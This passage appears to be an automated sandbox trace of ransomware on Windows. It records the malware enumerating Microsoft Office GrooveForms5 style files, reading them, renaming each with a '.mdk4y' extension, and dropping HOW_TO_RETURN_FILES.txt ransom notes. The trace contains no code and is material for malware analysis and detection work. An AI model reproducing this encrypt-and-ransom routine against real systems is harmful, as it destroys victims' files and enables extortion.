office\\office14\\1033\\grooveforms5\\formsstyles\\sts.css.mdk4y")) returned 1 [0189.612] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0189.612] AreFileApisANSI () returned 1 [0189.612] GetACP () returned 0x4e4 [0189.612] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="STS2", cchWideChar=4, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="STS2css", lpUsedDefaultChar=0x37de34) returned 4 [0189.612] AreFileApisANSI () returned 1 [0189.612] GetACP () returned 0x4e4 [0189.612] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a98f0, cbMultiByte=78, lpWideCharStr=0x37dbc8, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\j") returned 78 [0189.613] AreFileApisANSI () returned 1 [0189.613] GetACP () returned 0x4e4 [0189.613] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dda8) returned 1 [0189.613] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0189.613] AreFileApisANSI () returned 1 [0189.613] GetACP () returned 0x4e4 [0189.613] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dda8) returned 2 [0189.613] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0189.613] AreFileApisANSI () returned 1 [0189.613] GetACP () returned 0x4e4 [0189.613] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="background.gif", cchWideChar=14, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="background.gifM", lpUsedDefaultChar=0x37dda8) returned 14 [0189.613] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2\\background.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xa0 [0189.614] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826484400000) returned 1 [0189.614] ReadFile (in: hFile=0xa0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xe9, lpOverlapped=0x0) returned 1 [0189.615] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826484500000) returned 1 [0189.615] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826484500000) returned 1 [0189.615] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2\\background.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\background.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2\\background.gif.mdk4y")) returned 1 [0189.616] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0189.616] AreFileApisANSI () returned 1 [0189.616] GetACP () returned 0x4e4 [0189.616] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HEADER.GIF", cchWideChar=10, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="HEADER.GIF.gif", lpUsedDefaultChar=0x37dda8) returned 10 [0189.616] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2\\header.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xa0 [0189.616] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826484600000) returned 1 [0189.616] ReadFile (in: hFile=0xa0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xcbd, lpOverlapped=0x0) returned 1 [0189.618] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826484800000) returned 1 [0189.618] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826484800000) returned 1 [0189.618] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2\\header.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\HEADER.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2\\header.gif.mdk4y")) returned 1 [0189.619] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0189.619] AreFileApisANSI () returned 1 [0189.619] GetACP () returned 0x4e4 [0189.619] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_OFF.GIF", cchWideChar=11, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="TAB_OFF.GIFgif", lpUsedDefaultChar=0x37dda8) returned 11 [0189.619] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2\\tab_off.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xa0 [0189.619] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826484900000) returned 1 [0189.619] ReadFile (in: hFile=0xa0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x1ce, lpOverlapped=0x0) returned 1 [0189.620] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826485000000) returned 1 [0189.620] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826485000000) returned 1 [0189.621] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\TAB_OFF.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2\\tab_off.gif.mdk4y")) returned 1 [0189.630] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0189.630] AreFileApisANSI () returned 1 [0189.630] GetACP () returned 0x4e4 [0189.630] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_ON.GIF", cchWideChar=10, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="TAB_ON.GIFF", lpUsedDefaultChar=0x37dda8) returned 10 [0189.630] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2\\tab_on.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xa0 [0189.631] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826486100000) returned 1 [0189.631] ReadFile (in: hFile=0xa0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x108, lpOverlapped=0x0) returned 1 [0189.632] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826486200000) returned 1 [0189.632] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826486200000) returned 1 [0189.632] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\TAB_ON.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2\\tab_on.gif.mdk4y")) returned 1 [0189.633] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 0 [0189.633] FindClose (in: hFindFile=0x6ab3d0 | out: hFindFile=0x6ab3d0) returned 1 [0189.633] AreFileApisANSI () returned 1 [0189.634] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x691c88, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 102 [0189.634] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\STS2\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dae0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.634] GetFileType (hFile=0x114) returned 0x1 [0189.635] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0189.635] AreFileApisANSI () returned 1 [0189.635] GetACP () returned 0x4e4 [0189.635] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Sts2.css", cchWideChar=8, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="Sts2.csseen.css", lpUsedDefaultChar=0x37de34) returned 8 [0189.635] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Sts2.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x114 [0189.636] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826486600000) returned 1 [0189.636] ReadFile (in: hFile=0x114, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0xd6a, lpOverlapped=0x0) returned 1 [0189.637] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826486700000) returned 1 [0189.637] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826486700000) returned 1 [0189.637] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Sts2.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Sts2.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\sts2.css.mdk4y")) returned 1 [0189.640] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0189.640] AreFileApisANSI () returned 1 [0189.640] GetACP () returned 0x4e4 [0189.640] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Swirl", cchWideChar=5, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="Swirlcss", lpUsedDefaultChar=0x37de34) returned 5 [0189.640] AreFileApisANSI () returned 1 [0189.640] GetACP () returned 0x4e4 [0189.640] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a98f0, cbMultiByte=79, lpWideCharStr=0x37dbc8, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\j") returned 79 [0189.641] AreFileApisANSI () returned 1 [0189.641] GetACP () returned 0x4e4 [0189.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dda8) returned 1 [0189.641] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0189.641] AreFileApisANSI () returned 1 [0189.641] GetACP () returned 0x4e4 [0189.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dda8) returned 2 [0189.641] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0189.641] AreFileApisANSI () returned 1 [0189.641] GetACP () returned 0x4e4 [0189.641] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="background.gif", cchWideChar=14, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="background.gifM", lpUsedDefaultChar=0x37dda8) returned 14 [0189.641] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl\\background.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xa0 [0189.642] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826487200000) returned 1 [0189.642] ReadFile (in: hFile=0xa0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x32f, lpOverlapped=0x0) returned 1 [0189.643] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826487300000) returned 1 [0189.643] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826487300000) returned 1 [0189.644] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\background.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl\\background.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\background.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl\\background.gif.mdk4y")) returned 1 [0189.645] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0189.645] AreFileApisANSI () returned 1 [0189.645] GetACP () returned 0x4e4 [0189.645] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="HEADER.GIF", cchWideChar=10, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="HEADER.GIF.gif", lpUsedDefaultChar=0x37dda8) returned 10 [0189.645] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl\\header.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xa0 [0189.646] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826487600000) returned 1 [0189.646] ReadFile (in: hFile=0xa0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x6993, lpOverlapped=0x0) returned 1 [0189.717] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826494700000) returned 1 [0189.717] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826494700000) returned 1 [0189.718] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\HEADER.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl\\header.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\HEADER.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl\\header.gif.mdk4y")) returned 1 [0189.719] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0189.719] AreFileApisANSI () returned 1 [0189.720] GetACP () returned 0x4e4 [0189.720] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_OFF.GIF", cchWideChar=11, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="TAB_OFF.GIFgif", lpUsedDefaultChar=0x37dda8) returned 11 [0189.720] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl\\tab_off.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xa0 [0189.720] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826495000000) returned 1 [0189.720] ReadFile (in: hFile=0xa0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x155, lpOverlapped=0x0) returned 1 [0189.721] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826495100000) returned 1 [0189.721] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826495100000) returned 1 [0189.721] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\TAB_OFF.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl\\tab_off.gif.mdk4y")) returned 1 [0189.801] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0189.801] AreFileApisANSI () returned 1 [0189.801] GetACP () returned 0x4e4 [0189.801] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_ON.GIF", cchWideChar=10, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="TAB_ON.GIFF", lpUsedDefaultChar=0x37dda8) returned 10 [0189.801] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl\\tab_on.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xa0 [0189.802] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826503200000) returned 1 [0189.802] ReadFile (in: hFile=0xa0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0xde, lpOverlapped=0x0) returned 1 [0189.802] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826503200000) returned 1 [0189.803] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826503300000) returned 1 [0189.803] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\TAB_ON.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl\\tab_on.gif.mdk4y")) returned 1 [0189.804] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 0 [0189.804] FindClose (in: hFindFile=0x6ab3d0 | out: hFindFile=0x6ab3d0) returned 1 [0189.804] AreFileApisANSI () returned 1 [0189.804] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x691c88, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 103 [0189.804] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dae0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.804] GetFileType (hFile=0x114) returned 0x1 [0189.805] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0189.805] AreFileApisANSI () returned 1 [0189.805] GetACP () returned 0x4e4 [0189.805] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Swirl.css", cchWideChar=9, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="Swirl.cssen.css", lpUsedDefaultChar=0x37de34) returned 9 [0189.805] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x114 [0189.806] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826503600000) returned 1 [0189.806] ReadFile (in: hFile=0x114, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0xd04, lpOverlapped=0x0) returned 1 [0189.838] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826506800000) returned 1 [0189.838] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826506800000) returned 1 [0189.838] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Swirl.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\swirl.css.mdk4y")) returned 1 [0189.840] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0189.840] AreFileApisANSI () returned 1 [0189.840] GetACP () returned 0x4e4 [0189.840] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Teal.css", cchWideChar=8, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="Teal.csss", lpUsedDefaultChar=0x37de34) returned 8 [0189.840] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Teal.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\teal.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x114 [0189.841] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826507100000) returned 1 [0189.841] ReadFile (in: hFile=0x114, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, 